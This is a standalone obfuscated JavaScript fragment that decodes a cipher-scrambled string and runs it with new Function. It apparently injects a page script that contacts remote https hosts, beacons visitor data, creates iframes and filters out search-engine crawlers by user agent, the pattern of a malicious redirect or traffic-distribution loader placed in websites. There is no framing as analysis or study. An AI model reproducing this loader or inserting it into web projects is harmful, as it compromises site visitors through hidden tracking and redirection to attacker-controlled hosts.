Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q/f/}Ko}j(8}vY8f@TdC_O@4F"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();